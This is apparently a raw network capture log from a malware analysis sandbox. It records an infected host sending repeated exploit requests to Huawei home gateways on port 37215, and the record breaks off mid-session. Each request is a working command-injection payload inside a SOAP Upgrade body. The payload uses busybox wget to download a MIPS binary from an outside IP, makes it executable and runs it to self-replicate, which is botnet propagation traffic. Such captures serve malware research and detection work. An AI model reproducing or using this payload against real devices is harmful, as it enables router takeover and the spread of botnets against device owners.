2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	41716	197.168.76.154	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020402908 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	40410	157.108.71.72	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020448923 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	44818	197.145.183.59	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020493031 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	58098	197.124.222.24	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020509005 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	32872	106.174.68.245	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020551920 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	60718	197.190.172.118	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020586967 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	51402	157.213.124.92	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020683050 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	49466	157.231.126.250	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020684958 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	56970	192.48.206.157	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020715952 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	59660	114.116.15.132	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.020760059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	58506	157.15.177.153	37215

Timestamp	Bytes transferred	Direction	Data
